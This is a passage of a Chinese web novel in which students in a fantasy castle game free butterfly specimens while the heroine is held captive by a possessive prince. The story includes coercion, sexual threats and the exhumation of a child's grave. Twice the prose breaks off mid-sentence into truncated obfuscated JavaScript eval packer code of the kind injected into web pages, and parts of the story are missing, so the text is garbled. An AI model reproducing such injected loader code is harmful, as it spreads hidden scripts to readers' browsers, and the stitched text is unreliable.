他伸手蹭了下她的鼻子,收回时,指腹很明显添了一道脏脏的灰渍。 于是笑意更甚了:“看来是我误会你了,小花猫。” 温初夏无声地吸了一口气,上齿咬住下唇,被子之下的十根脚趾齐齐蜷起。 日哦。 刚才她怎么就忘了照一照镜子。 时准把指头在被子上擦了擦,道:“今晚,我邀请了你仅剩的9名亲戚,在宴会厅共进晚餐。” 在说“仅剩的”三个字时,他故意停顿了下。 总部派了20名守护者来,现在居然只剩9人了。 时准昨晚杀了10个,今早杀了1个,要是她再晚回五分钟,剩下的人数就只是8了。 温初夏心脏狂跳,慌乱之中被握住了手。 “到时候你也来吧,夏夏。在房间里呆了这么久,确实应该出去透透气了。” 时准捏捏她的手,脸上的神情无比温柔,语气也是又轻又慢,像在和她商量:“但你必须要一直跟在我身边才行。你太淘气了,我稍不注意,你就把自己弄成了花脸猫。” 指尖恶劣地刮挠着掌心,温初夏痒的浑身都起了一层鸡皮疙瘩,被子之下的双腿难受地动了动,却没有勇气把手抽离,听旁边这个人面兽心的畜牲继续道: “今天的事要是再有第二回,你身上的裙子就可以不用穿了。反正这场雨之后,天气马上就要热起来了,不穿也不会冷。” 神经病! 死变态! 温初夏险些把嘴唇咬出血,胸口剧烈起伏了好几下,才从齿缝间勉强吐出一句简短且敷衍的回答:“知道了……”快滚。 时准一走,温初夏就立刻去浴室洗澡。 她泡在浴缸里,用力揉搓着手臂,铁链跟随她的动作轻轻晃动,时不时碰撞到浴缸外壁,发出清脆的声响,最后皮肤都搓红了,也没能把身体里那股经久不散的痒意给搓掉。 有病。 她也有病。 温初夏怒拍了几下水面,洗好后穿上干净衣服,从浴室出来,发现女佣已经把脏了的床单被套换成了新的,书架里多了很多散文小说,桌上放着整套的绘画工具,以及国际象棋、刺绣、编织…… 甚至还有一本数学谜题集。 谁离开学校还想做题? 不用问也知道,这些都是时准吩咐的。 温初夏赤脚踩在地毯上,用毛巾擦着湿透的头发,叹了口气,觉得他这人还真是,贴心是真的贴心,过分也是真的过分。 总爱用无比甜蜜的语气,说出不堪入耳的话来,搞的她刚强的外表之下,脆弱的羞耻心三天两头频繁发作。 但生活上却又细致入微有求必应,怕她无聊,还给她准备了这么多解闷的东西。 如此割裂的性格,究竟是怎么培养出来的? 午饭温初夏没来得及吃,所以厨房在下午两点又给她送来了下午茶,份量和正餐完全没差。 这次假装女仆前来送餐的人换回了周雅宜。 温初夏食不知味地吃着饭,问她:“晚上时准要我和他一起参加宴会,你去吗?” 周雅宜微愣:“今晚吗?他没提前和我说,应该是不用我去的。” 她见温初夏眉目间萦绕着忧愁,知道她是在担心任务完不成怎么办,虽然自己心里也同样没底,可还是假装很有信心地拍拍温初夏的肩,宽慰道: “别拉着个脸了,一会儿我再带几个同学去礼拜堂试一试,我就不信了,我有手腕,有力气,还会搞不定一朵只知道哭的破花。” 温初夏腮帮子一顿,眨了眨眼,转移视线:“谁拉着脸了,我是在想事情。” “想什么?” “想怎么才能从时准嘴里套出话。” 周雅宜秀眉轻挑,有些不明白:“干嘛要套他的话啊?” 她兔子一样地蹦近了一点,尽管旁边没有外人,仍谨慎为上地压低声音,问:“难道他知道什么吗?” “不确定。”温初夏双腿曲起,下巴放在膝盖上,“但我想试试。” 直觉作祟,她总觉得诗里多出来的内容,大概率是和时准有关的,所以黄玫瑰的问题,或许只有时准才清楚正确答案。 而且,那朵花在角落孤零零淋雨的样子,莫名让温初夏想起了上一个副本,自己和时准吵架的那天下午,他在雨里流泪的模样。 脆弱,无助,又可怜。 像一只湿哒哒的、被人狠心抛弃掉的幼犬。 只要一回想起当时的画面,温初夏就觉得自己极其的罪恶和残忍。 虽然幼犬现如今已成为了一头凶猛的兽,能一次性杀掉十个人,完事后还毫无负担地潜入她的房间,抱着她,安稳入眠。 周雅宜思索片刻,道:“虽然我不知道你具体想要知道什么,但有一个人的技能或许能帮到你。” “谁?” “杜惜文。她和小雪一样都在后厨当厨娘,技能是做真心话小蛋糕。” “……什么玩意儿?”温初夏没听懂。 “就是吃了她做的小蛋糕之后,说的第一句话,一定是真心话。” 下午六点半,时准亲自来接温初夏去参加晚宴。 门开时,几名女佣正在给她整理裙摆。 发型是复古的低盘发,每一缕发丝都服帖而光亮,发髻上点缀着一枚钻石发夹,周围穿插着几朵小巧的白色珍珠花。 蓬松的裙摆装饰着层层叠叠的蕾丝和褶边,每一层蕾丝上都绣着精美的花纹,领口边缘也嵌着一圈细腻的蕾丝边,腰间系着一条红酒色的丝绸腰带,紧紧束住她纤细的腰肢。 时准一进来,佣人们就都自觉离开了。 温初夏站在镶了一圈宝石的全身镜前,觉得自己这身衣服简直沉得过分,不仅裙撑重,裙摆的层数多,衣服上还缝了这么多眼花缭乱的装饰物,穿上后简直跟负重十斤没区别。 时准从背后抱住温初夏,替她解开脖子上的项圈后,两手环住她的腰。 又仗着个子刚好比她高出一个脑袋,将下巴放在她的头顶上,没有用力,只是很轻地搭在上面。 “夏夏,你穿这条裙子真漂亮。”他看着镜子里的窈窕少女,“红色果然比蓝色要更适合你。” 时准是做好不被理睬的准备的,毕竟经历了这么多事情,他们二人之间的关系早已定型,就是冷脸贴冷屁股。 谁知,温初夏却在他怀里转了个身,仰头看着他,眼角带笑地问: “是裙子漂亮,还是人漂亮?” 大概是太久没有看见温初夏在自己面前流露出这般鲜活的情绪,时准呆住一瞬,而后立即微笑起来,眼底泛起一层浅薄的水光,不仔细看的话很容易忽视掉。 但温初夏忽略不掉,因为距离太近,她的世界只装得下时准这一张帅脸。 就,这么感动吗? 可我只是说了句俏皮话而已啊,大招都还没放呢你就已经溃不成军啦? 一颗心紧紧地揪起,并快速跳动着。 这种感觉真的好奇妙,又心疼又心动,又酸涩又甜蜜,乱七八糟的情绪在身体里四处乱窜。 时准看着她的眼睛,回:“当然是你。” 看着少年认真到近乎虔诚的表情,再想到一会儿自己要做的事,温初夏忽然感到良心十分难安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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直到看见时准略带疑惑地轻眨了两下眼,她才立刻又回过神来,吸了口气,又紧张又期待地问:“时准,你能告诉我,你上一次许的生日愿望是什么吗?” “希望能在阳光下和你接吻。” 这是什么鬼愿望??? 温初夏脸一红,举着蛋糕的胳膊缩了下去,小声嘀咕:“你最近亲我亲的还少了吗……” “晚宴时间快到了,我们走吧。” 说完,时准就把她手里的盘子夺走,放在桌上,拉着她的手腕,离开卧室。 他步子迈得不快,但因为腿太长,温初夏穿的裙子又沉,步子迈不开,只能小跑着跟在他身侧,手腕被捏的略微有些发疼。 一路上,时准再也没开口说一句话,温初夏也保持着沉默,就是有些丈二摸不着头脑。 刚才不还好好的吗,怎么忽然生起气了? 长桌上摆放着精致美味的菜肴,时准坐在主位,温初夏在他右手边,对面是一位身穿黑色西服,头戴黑色礼帽的男人,左手食指戴着一枚金戒指,浑身上下都很讲究。 这人虽然名义上是她母国的亲戚,但用餐期间却一句话都没有和她说过,连最基本的问候都没有,只是一直在和时准聊天,两人之间的气氛十分融洽。 温初夏不由得升起疑虑—— 这人不是守护者吗,守护者不该是和自己一伙的吗,为什么他会和时准相谈甚欢? 要知道时准昨天今天加起来,一共弄死了他们的11位同伴,正常人难道不该像坐在她旁边的胖子瘦子一样,战战兢兢大气不敢出吗? 他怎么这么松弛? 好奇怪。 身为管家的1107偶尔来桌边上菜,目光有意识地和温初夏接触到时,总会不着痕迹地笑一笑,让她心里的不踏实感瞬间减轻不少,同时心里决定,如果有机会,一定要找这人聊一聊。 …… 连绵的细雨终于在第二天清晨停了下来。 当第一缕阳光穿过屋顶的漏洞,落在黄玫瑰娇嫩的花瓣上时,温初夏俯下身,在它的花蕊处轻轻烙下一吻。 【蝴蝶何时才能冲破以爱为名的画框? 阁楼的公主日夜盼望。 白鸽衔来希望的春枝, 既是生命,也是死亡。 待巨龙再次咆哮时, 英勇的骑士能否将它斩于剑下? 否则—— 太阳终究落于深山, 月亮永囚黑夜之牢。】 43. 第 43 章 阳光透过走廊高处的狭长箭窗,斜斜洒在斑驳石墙上。 镶着雕花铜边的橡木画框悬于墙面,清透的薄玻璃之下,细碎的鳞片流转着微光。 整齐划一的脚步声咚哐咚哐砸着地面,空气中充斥着紧绷的压迫感,躲在视线盲区的周雅宜屏住呼吸,心脏跳得飞快。 一列盔甲士兵从画框旁巡视而过,冷灰色的头盔之下空空荡荡,没有脑袋,由金属板和铰链组成的胸甲里也没有躯干,只是静静悬浮着一张扑克牌。 这就是它们的心脏。 等巡逻的空壳士兵彻底离开走廊,周雅宜立刻跑到画框下,仰头盯准目标,膝盖弯曲,身体下沉,然后轻轻一跳,很轻松就把挂在两米高处的画框给取了下来。 落地时,她敏锐地听到下一批巡逻士兵即将到来的脚步声,直接抱着画框从窗户逃离。 像玩滑梯一样从倾斜的红棕色楼顶一路下滑,然后又跳到旁边更矮的楼去,如此重复好几遍后,周雅宜两脚踩在绿草如茵的空地上,平安降落。 她见四周并没有士兵经过,便一拳把画框的玻璃捶碎,倒扣着抖了抖,里面的蝴蝶失去束缚,立刻扇动翅膀,从画框中离开,头也不回地飞向蓝天。 周雅宜看着逐渐远去的蝴蝶,嘴角满意地翘起,自言自语道:“第73只搞定,还剩……27只,搞下一个去!” “目前就差最后两只了,进度神速啊!我们简直太棒了!” “巧了不是,锅里的虾刚好也只剩最后两只了。”姜荞语手握汤勺,笑着问:“你们谁要?” “我我我!”刘文远举起油光满面的瓷碗,两眼放光,“正好碗里空了。” 旁边人挤开他:“你都吃多少了,给我给我!我刚才一只虾都没捞着呢。” 夜深人静,一群吃吐了白人饭的学生围坐在后厨的炉灶边,底下的柴火烧得很旺,锅里咕嘟咕嘟冒着气泡,香气四溢。 他们每人手里都捧着一只小碗,边聊天说话,边涮火锅,虽然四周的环境稍显寒酸,但场面却十分温馨,有种过节的气氛,轻松又热闹。 他们之所以会这么轻松,当然是因为最近任务进行得太顺利的缘故。 仅用了短短三天时间,就把分布在城堡各个角落的蝴蝶标本逐一放生,现在只剩最后两处暂时没有搞定。 涮火锅的食材是直接从厨房拿的,有香肠火腿蘑菇土豆鸡蛋等等,而最最不可或缺火锅底料,则由城堡管家1107亲情提供的。 大家不知道他是从哪儿弄来的底料,却都吃的很欢,不怕里面下了毒。 自上个副本一出场起,1107就自带神秘气质,既能在物资落后的闹鬼小学里开高端酒吧,又能从着火的大楼一跃而下,还没摔死,显然是不同于他们这些普通玩家的特殊人物,更像是NPC。 而最近一年时间,在这座阴森森的古堡里,1107身为管家,常凭借职位便利对这帮学生多有照顾,帮助他们寻找线索、收集道具,所以大家都对他十分信任,还逐渐开始喊他哥。 “七哥。” 季明轩端着碗坐在一把小马扎上,吃到一半,仰头看向旁边靠墙站立的男人,喊了他一声,好奇宝宝发问:“你在想什么呢?怎么不一起吃点儿啊?” 1107抱着胳膊,站姿懒散,微曲的右腿斜搭在左腿前面,皮鞋尖点地,显得身高是那么高,腿又是那么长。 他自己没有拿碗,就这样靠墙站在一边,静静地看着他们吃,眼神温柔且藏着笑意,像在观赏一群饿久后终于吃上食物的可爱小动物。 跟其他未成年相比,他无论是外貌还是气质,都成熟了不止十个档次,因此格外鹤立鸡群,哪怕正在发呆,也源源不断地吸引着周围小朋友的注意。 季明轩的话让1107回过神。 他看了仰视自己的少年一眼,唇角勾起一道极其轻微却又很明显的弧度,淡淡道:“我不饿,你们吃。” 同时心里回答:在想你未来姐夫现在走到哪儿了。 “你管谁叫哥呢。” 周雅宜瞪了季明轩一眼,绕过几个同学走过来,用勺子给他碗里扣了两片火腿、一个香菇和一些青菜,小声骂道:“平时对我直呼大名,叫别人哥倒是叫得这么欢,这么多吃的都堵不住你的嘴是吧。” 季明轩自动屏蔽掉她,依旧看着1107,说: “我们在地下室里找到了城堡的构造图,上面标记着一百只蝴蝶标本的具体位置,现在就剩最后两只没有搞定了,一只在时准的寝宫,一只在时准他妈妈的寝宫——但这俩地方我们都进不去,七哥,你能进去吗?” 死小子偏要和她对着干。 周雅宜气死了,把粘在汤勺上的辣椒花椒全抖进季明轩碗里,翻了个白眼,转身离开。 早在上个副本,周雅宜就对1107有意见了。 自从她发现这人对李确的关心程度有些超乎寻常之后,并且,他看自己的眼神也很令人不舒服。 具体形容的话,就是审视中带着一些嫌弃,一些妥协,还有一些心塞。 我是做了什么让你觉得心塞了??? 周雅宜很想问一问1107,老娘到底哪里惹到你了,为什么你对所有人,尤其是李确都那么和蔼可亲,偏偏对我甩脸色,啊?! 但直觉又告诉她,就算自己鼓起勇气真的问出口,对方多半也不会搭理她。 并且周雅宜本人也完全不想和1107说一句话,连在城堡里偶尔碰到打个招呼,都是不情不愿极其敷衍的,所以这个问题的答案,在她这里至今成谜。 “我也不行呢。”1107歉意地耸耸肩,“国王的寝宫里不止有你们要找的蝴蝶标本,还放着骑士的宝剑,白天有重兵把手,到了晚上,时准又在里面休息,没人能从正门进去。” “除非,你们之中谁能从外面的阳台翻进去。但这个方法危险系数很高,白天容易被楼外巡逻的士兵发现,晚上又容易被时准发现,无论上述哪种情况发生,最后都是死路一条。” “而林荫陈的寝宫,也很难进去。”见其余人都在认真听他说话,1107稍微提高一点音量,继续道: “她平时总喜欢一个人呆在房间,吃穿用度都是时准亲自吩咐人去操办,连我都不能插手。并且她的脾气非常……暴躁,和她温柔的外表很不一样,我还记得去年冬天,有名女佣在打扫时不小心摔坏了她房间里的一个东西,就被她下令活活打死了。” 好几名女生听了,纷纷倒吸一口冷气,周雅宜也被嘴里的食物呛到,猛咳了好几下。 她们本打算易容成女佣的样子,混进林荫陈的寝宫,在打扫卫生的过程中假装手滑,把画框摔碎,借机让里面蝴蝶飞走的。 但现在看来,这个方法简直无异于找死啊…… 手里的火锅顿时不香了,大家七嘴八舌地商讨起对策—— “这下该怎么办啊?两边都找不到突破口。” “感觉只能极限一换一,两条人命换两只蝴蝶。” “别一开始就想送着命好不好,我们好歹有技能在身,硬的不行,那就巧取嘛。” “巧取?你想怎么取?” “诶,田南箫!”那人隔空喊话,“你的技能不是可以迷晕别人三十秒吗,你能上啊!到时候你就半夜从时准房间的阳台翻进去,先把他迷晕,然后再取标本,这不轻轻松松吗。” “轻松你个头啊。”另一边,季明轩一盆凉水泼下来,“你们难道不知道吗,我们所有人的技能对时准都是无效的啊。” 其余人除了1107,听到这话后,都瞪大了眼睛。 “什么?无效??!” “真的吗?你是怎么知道的?” “因为我试过啊。” 季明轩也有些懵地眨了眨眼,他还以为这件事是人人都知道的,解释说: “我第一次进城堡的时候,和马戏团的人一起给时准还有其他贵族表演节目,就发动技能试过,当时所有人都笑了,只他一个人没笑。” “可、可如果我们的技能对时准没用的话,那他为什么会在吃了杜惜文烤的小蛋糕之后,对我说真话呢?” 翌日早晨。 周雅宜把他们昨晚的谈话摘取重点,告诉温初夏。 她也百思不得其解,猜测:“会不会是时准本来就想告诉你真话呢。” “不可能。”温初夏靠坐在床,两手绞着腿上雪白的被套,神色凝重:“你见过哪个反派BOSS主动给主角透露通关线索的。” 事出反常必有妖。 更何况时准的终极目的,是想把她永远留在这里,永远和他在一起。 那天下午,他的所作所为完全不符合人物应有的行为逻辑,他怎么会如此轻易地把收服黄玫瑰的方法告诉自己呢? 温初夏思索了半天,也没捕捉到一丁点儿头绪,干脆问起另一件事来:“我母国的亲戚里,那个深棕色头发,灰色眼睛,左手戴金戒指的男人,你调查得怎么样了?” “他啊。”周雅宜说,“他的名字叫西奥多,是你所有亲戚中和时准走得最近的。我好几次都见到时准和他在一起,虽然也谈不上多亲近,但感觉时准对他,好像比对我还要热情一些。” “对了,他还是一名巫师,我打听到时准想让他给林姨做驱邪的仪式呢,日期好像就是今天。”周雅宜补充道。 “驱什么?”温初夏扬起眉,懵逼地问:“她什么时候中的邪??” “一直都有吧,只要一提起时淼就跟失心疯似的,其实不止时准,我也怀疑林姨是不是中邪了。” 回想起林茵陈对时准仿佛仇人一般的态度,周雅宜龇了龇牙,接着心里又有些不是滋味,惆怅道: “从前我一直觉得,林姨是世界上最最温柔的女性,情绪稳定,对谁都是和颜悦色的。在来到这个鬼地方之前,我从没见她生过一次气,哪怕脸红都没有,没想到……” 没想到她对时淼的执念居然这么深,甚至到了自欺欺人的地步,明明是已经死去多年的人,她却硬说是时准把他妹妹藏起来了,看他鼻子不是鼻子眼睛不是眼睛,母子俩每次见面,都要以争吵结尾。 本来周雅宜对时准是心怀满肚子怨气的,因为如果不是他,大家早就已经回到正常的世界,继续从前的生活了。 而且更过分的是,他还把李确流放到了远隔千里的小岛上吃苦,李确又没惹到他。 可只要一见到林茵陈和时准剑拔弩张对峙的场面,哪怕身为旁观者,周雅宜也能切实感受到,时准的心会有多疼。于是,就又不忍心把这一切全都怪罪于他。 温初夏对此倒是毫不意外。 若要论谁是世界上最了解林茵陈丧女心结的人,时准排第一,时准他爸时澄江排第二,那她就敢排并列第二。 毕竟,温初夏是亲身体会过,林茵陈对于长相酷似时淼的自己是有多么狂热,恨不得把她改名换姓,捆在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温初夏被林茵陈强搂着,下巴放在她的肩膀上,惊疑不定的目光扫过屋里的其她人。 她们全都作女佣打扮,模样陌生且老实,被这一场母女相认的感人画面打动到,纷纷拿出手帕开始抹着眼泪,样子没比林茵陈靠谱多少。 就这样一群人,是怎么从时准那里偷到钥匙,避开盔甲士兵的严密巡视,来到这里的? 不对劲,很不对劲。 温初夏脑子里冒出的第一反应是,这会不会是时准对她的考验? 考验她会不会借机逃走。 果然,短暂痛哭过一阵后,林茵陈就松开温初夏,抹了抹她脸上并不曾流淌过的泪水,抓住她的手,站起身,急切道: “快,快跟妈妈走。马车就停在楼下,妈妈带你离开这里,从此以后都不要回来,这样就没人会把你藏起来了。” “不。”温初夏用力抽出自己的手,往后挪了挪,断然拒绝:“我不走。” 开玩笑,时准能随时感知到她的方位,哪怕林茵陈把自己带到天涯海角,时准都能开着导航把她揪出来。 这种情况,谁跑谁傻逼啊。 “你为什么不走呢?”林茵陈满脸泪痕来不及擦,不可置信地看着床上的人。 “因为我根本不是你的女儿。”温初夏说,“我是邻国的公主,时准的未婚妻,还有一周我就要和他结婚了。” “什么?他要娶你?!”林茵陈一双美眸瞪得吓人,瞳孔剧烈颤动着,被这一惊世骇俗的消息劈得不轻。 “怪、怪不得时准把你藏了起来,原来、原来他是为了要娶你……这个畜生!居然想娶自己的亲妹妹!” 此时此刻,温初夏真想把“无语”俩字写脸上。 请问您有选择性耳聋吗? 我的第一句话您是一点儿也没听进去是吧?? 接下来,任凭温初夏再解释,再拒绝,再反抗,都没有用,她使劲浑身解数,还是被林茵陈和一帮女佣强行掳上了马车。 为了防止她在出城门时大声尖叫,引起侍卫的怀疑,林茵陈直接扯下同车女佣的围裙,把她的嘴给堵住,又拿腰带拴住她的两只手。 手法之利落,令人嗔目结舌。 温初夏:唔唔唔??? 怪不得时准这么喜欢强制爱,原来都是遗传啊。 基因的力量果然强大。 清晨不到七点,世界还处于将亮未亮的朦胧状态,又因正在下雨,所以天色比往常这个时候还要更困一些。 一辆其貌不扬的马车在密雨中急行,马蹄所到之处,水花飞溅。 脚步声哒哒,雨水声哗哗,两相应和,将气氛绷紧到了极限,仿佛一根即将断裂的琴弦。 湿润密集的水雾挤走了氧气的空间,让人感到难以呼吸。 温初夏缩坐在窗边的位置,眼神穿过摇晃不止的窗帘缝隙,看见她们就快到达城门了,担忧的同时,心里又忍不住升起一点期待。 如果林茵陈真的成功把她带出城去的话,那时准的脸得臭成什么样啊哈哈哈哈哈。 可惜自己欣赏不到时准得知消息时的表情。 就在温初夏尝试脑补一下时,忽然,马车之上,天空之下,响起一道嘹亮的龙吟。 熊熊的烈焰从口中喷出,马儿被吓得立刻刹住车,两只前脚在空中扑腾好几下,又重重落回地面。 雨水被火焰蒸发,四周的雾气霎时间变得更加浓郁,仿佛进入了迷宫。 一只苍白的手拉开轿厢侧面的窗帘。 “母亲。”时准浑身淋得浇湿,雨水顺着乌黑的发丝滑落。 他目光无比冰冷,注视着里面惊魂未定的林茵陈,平看似平静的面容下掩藏着滔天怒意。 “您打算把我的未婚妻带去哪里?” 44. 第 44 章 兵荒马乱之中,林茵陈立刻伸手护住口不能言的温初夏,柔和无害的面庞紧绷着,眼神狠厉而决绝,像极了一头在群狼环伺的情况下保护幼崽的母鹿。 “你休想再把我女儿抢走!”只大声呵斥了这一句,林茵陈就把她所积蓄的勇气尽数花光了。 接着,瞳孔开始颤动,眉上和口周的肌肉也控制不住地拼命抽搐,仿佛时准在她眼里不是儿子,不是人,而是一头可怕的怪物。 那只苍白有力的右手仍紧紧扒着窗框,其中蕴藏的力量大得惊人,竟让剧烈晃动的轿厢在几秒之内迅速平息了下来。 前面拉车的马儿早已吓傻,四只铁蹄哆嗦着想往后退,却发现根本退不动。 “她不是时淼。”时准冷漠地纠正,“她是邻国的公主,是我的未婚妻,我们还有一周就要成婚了。” 闻言,嘴里塞着布料的温初夏克制地挑了下眉,有些惊讶:这话跟我刚才的解释几乎一模一样欸,没想到时准和我还挺有默契…… 但林茵陈却完全不信,她目光带怨,一脸警惕地看着时准,把身旁的温初夏搂得更紧些,像是怕他下一刻就要来抢人。 “不可能!你骗人!”林茵陈面红耳赤,太阳穴突突跳动,“你说她不是我女儿?可她明明和我女儿长得一模一样!” 女人用近乎崩溃的声音吼叫时,眼里充盈的泪水被轻易震出,飞落到温初夏手背上,烫的几乎要把她的皮肉骨头烧穿。 当然,耳朵也快聋了。 如游丝一般细腻轻柔的雨线,在暮春的清晨编织出一张浸润着泥土芬芳的巨网,不断裹缠在时准身上。 忍一忍吧。 他对自己说。 这十年不都是这么忍过来的吗。 忍受全家人把自己的生日当做禁忌,忍受林茵陈隔三差五的情绪崩溃,忍受她总想从自己或别人身上寻找时淼的影子,忍受她把一个死人看的比活人还要重要…… 可母亲,我也不是您的孩子吗? 您一切的痛苦,没有一分一毫是由我造成的,为什么却要拉着我一起承担报应呢? 当时准将马车前门打开时,温初夏以为他是要把自己给拽下去,脑子里飞速闪过一长串弹幕: 完了完了完了我如果一会儿滑跪说自己完全是被逼迫的,没有一点儿想逃跑的意思,时准会相信吗?他会怎么处置我?他说过,如果再有下次我身上的裙子就不用穿了,这话到底是开玩笑还是认真的?我我我我现在去复刻徐黎的缝纫技能还来得及吗!谁能救救我,我不要裸奔呐——! 正当温初夏内心疯狂呐喊之际,时准已经伸出了审判之手,势如破竹径直向她的衣领袭来…… 不对,是略过。 温初夏瞪大双眼。 他要逮捕的对象居然不是自己,而是林茵陈。 “你干什么?!”林茵陈和温初夏一样,内心十分惊异,都觉得时准想带走的人应该是温初夏才对。 虽然身为他的母亲,林茵陈知道,他绝对不会对自己怎么样,却又因不明白他抓她而不抓温初夏的行为逻辑,内心升起了一阵未知的恐惧。 于是林茵陈发狂一般拼命挣扎着,几乎要把手臂给扯骨折,但在绝对的力量面前,她所做出的努力不过是蚍蜉撼树。 她被时准拽下马车,在细雨和雾气中踉跄行走,鞋袜裙摆都被积水打湿,原本一丝不苟的盘发也散了,但她仍想尽力挣脱时准的挟持,毫无形象地尖叫道: “你要带我去哪儿?你也想把我关起来是不是?!淼淼、淼淼还在马车上,我要回去找她,你快放手!放手……” 凄厉的声音戛然而止,因为时准猛地拉了一下她。 雨丝积少成多,汇成一股蜿蜒的痕迹,从少年挺立的眉骨滑落,紧锁的眉心几乎要深入鼻梁,从而显得他的面容更加冷酷可怖。 “那是我的未婚妻,不是你女儿。”时准目光沉沉地看着她,“既然你这么想见时淼,那我现在就带你去找她。” 几个随车的女仆早已吓晕过去了,没人能帮助温初夏解绑,她只能自力更生,先费力地用舌头顶出嘴里的围裙,下巴差点脱臼,再用牙齿将手腕的布条解开,两脚发软跳下马车。 随着天光渐亮,雨也越下越小,似乎很快就要停了。 温初夏眯着眼仰头看去,只见一条体型巨大、全身覆盖着黑色鳞片恶龙,在布满阴云的空中盘旋飞翔。 它满身的龙鳞闪烁着幽光,长着粗壮的四肢和一对巨大翅膀,血盆大口里的牙齿十分锋利,眼睛散发着凶狠的红光。 和它相比,一旁的塔楼都显得渺小起来,似乎能被巨龙一尾巴扫塌下。 光是远远地看一眼,就让温初夏遍体生寒:这么大一只怪兽,到时候宋云泽哪怕有盔甲盾牌和宝剑护身,应该也很难砍死它吧? 打住打住,想这么多干嘛。 她低下头,提起湿哒哒的裙子就往回奔去。 现在最重要的事情,是趁林茵陈不在,赶紧去把她寝宫里的蝴蝶标本放生。 沉默地极行过很长一段路后,时准把林茵陈往前一推,同时松开她的胳膊,眼睁睁看着她狼狈地摔倒在地,面前是一块被雾气与常春藤的缠绕着的深灰色花岗岩墓碑。 “就是这儿。” 他的声音无比冰冷:“你心心念念的时淼,就躺在这里。” 林茵陈浑身湿透地抬起头,雨水将她脸上不可置信的表情冲刷的有些狰狞。 当看清墓碑上镌刻的字后,她“啊”地惨叫一声,从没干过活的娇嫩的手,颤颤巍巍地抚上碑文里亡者的死亡年份。 是十年之前。 “这不可能,不可能啊……”林茵陈抽吸着空气,整个人已经神经质了。 她扭头瞪向时准,从地上爬起,沾染了泥土污渍的双手狠狠揪住他的衣领,质问道: “你不是说淼淼嫁去别国了吗?你不是说她还活在这个世界上吗?!你在骗我,你又骗我!我不信我的女儿会躺在这里,这里这么小,这么冷……是你,肯定是特意搞出这些来骗我!” 面对几近疯魔的母亲,时准反而平静下来。 因为他的心脏早已麻木,已经感觉不到任何痛了,如同打了麻醉一般。 接下来,可以动手切除病灶了。 “我从来没有想过要骗你,是你自己一直在自欺欺人,自我催眠,到最后连自己都骗过去了。从始至终,我不过只是在配合你演戏罢了。” “……”听到他的话,女人的表情出现一瞬的空白。 “但现在,这场戏该收场了。” 时准再次握住林茵陈的胳膊,强迫她松开手,转过身,面对着时淼的小小墓碑。 “挖。” 他一声令下,两侧的盔甲士兵便立刻走上前,用铁剑挖开绿茵茵的坟地,一铲接一铲,速度极快。 “不!不要!”林茵陈大吼大叫,想要制止,但这群空壳盔甲只听从时准一人的命令,非但不停,反而加紧了动作。 很快,一副青灰色的大理石棺椁从土壤底下显露出来,表面布满了细密的裂纹,显示出其已沉睡在此多时了。 时准又冷硬地吩咐:“撬开。” “不——”林茵陈已经无泪可流了,也没有力气再挣扎,唯一能做的,就是用手捂住眼睛。 接下来的画面对她来说太过残忍和可怕,林茵陈宁愿变成一个瞎子,也不愿亲眼见证。 但时准却偏要让她好好看看,看个清楚。 他把林茵陈硬生生拖到棺材前,压下她挡在面前的双手,抬起她的头颅,积蓄了近十年的不解和怨愤终于在此刻爆发。 “看啊!看啊!这就是你最最疼爱的小女儿,这就是你心心念念的淼淼。母亲,这下你总该满意了吧?高兴了吧?看吧,尽情地看!” 一具小小的白骨蜷缩在石棺里,空洞的眼窝仰望着雨后初霁的天空,肋骨如折断的枯枝般交错堆叠,胸腔凹陷处还残留着几片破碎的衣服布料。 林茵陈崩溃地尖叫了好几声,终于承受不住,白眼一翻,晕死过去。 “哗——” 玻璃被小心敲碎,温初夏抖了几下,里面的蓝闪蝶便奋力扇起翅膀,飞离画框。 温初夏的视线一路跟随着它出了窗户,发现正好刚才雨停了,不用担心这只脆弱的小蝴蝶因为翅膀被雨淋湿而飞不起来。 她于是大大地松了口气,心想终于把两个难题的其中之一解决了,还剩一个,不知道此刻时准的寝宫外还有没有重兵把手。 如果没有,那就太幸运了,可以两窝一起端。 仗着自己是全城堡里唯一一个哪怕四处乱跑,去到不该去的地方,也不会被时准弄死,顶多只会被他用一些难以启齿的方式折磨折磨的人,温初夏艺高人胆大,暂时抛掉尊严和裤衩,当即决定去时准的寝宫碰碰运气。 可没想到,她刚走出门没多久,就被一群盔甲士兵前后左右包围了。 空荡荡的头盔看着怪瘆人,温初夏讪讪地抬起两只手,招了招,皮笑肉不笑道:“哈哈,诸位大哥,其实我没乱跑,我只是想回自己房……欸欸!你们要押我去哪儿啊?我真的没有乱跑啊!” “砰。” 厚重的雕花铁门不由争辩地合上,淡淡的龙涎香混合着雪松的气味扑鼻而来,室内一片寂静。 “……” 温初夏敲了敲脑壳,怀疑自己是不是在做梦。 它们怎么把她带到时准寝宫里来了?! 虽然她确实很想来这个地方,但是是打算偷偷摸摸地来,干完一票又偷偷摸摸走的那种。 直接把她推进屋,又把门给关上是什么操作啊??? 而且听外面的脚步声判断,押她来的盔甲士兵没有离开,看来是打算长时间守在门外不走了。 这些没有□□也没有灵魂的士兵只听从时准调遣,它们的一切所作所为,全都是时准的意思,所以温初夏知道,一定是时准要自己来这儿的。 这让她百思不得其解,猜测屋里会不会有什么东西正在监视着她的一举一动,只要她一做出什么出格的事情,比如放飞蝴蝶,时准就会立刻驾到,名正言顺合情合理地处置她。 所以温初夏一开始并不敢造次,只是细细打量着房间里的装潢。 用一个字形容,那就是贵。 鎏金蔷薇的穹顶镶嵌着不计其数的鸽子血宝石,如夜晚的繁星,墙上挂着深紫天鹅绒壁毯,上面用银枪金线绣着武士战斗的场景,地面是拼花大理石,中心为王国的盾徽。 四柱天篷床约三米高,柱顶的雕花分别为狮、鹰、独角兽与龙头。床幔是由金线锦缎制成的,床尾凳上覆盖着一张完整的虎皮,看起来 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暮色漫过地平线,云层被熔金般的光焰点燃,像天神打翻了朱砂砚,浓稠的血色在天幕上晕染出层层叠叠的纹路。 “YES!”温初夏直起酸痛的脖颈,两手举起第一百个蝴蝶标本,欢呼雀跃道:“终于找到了!” 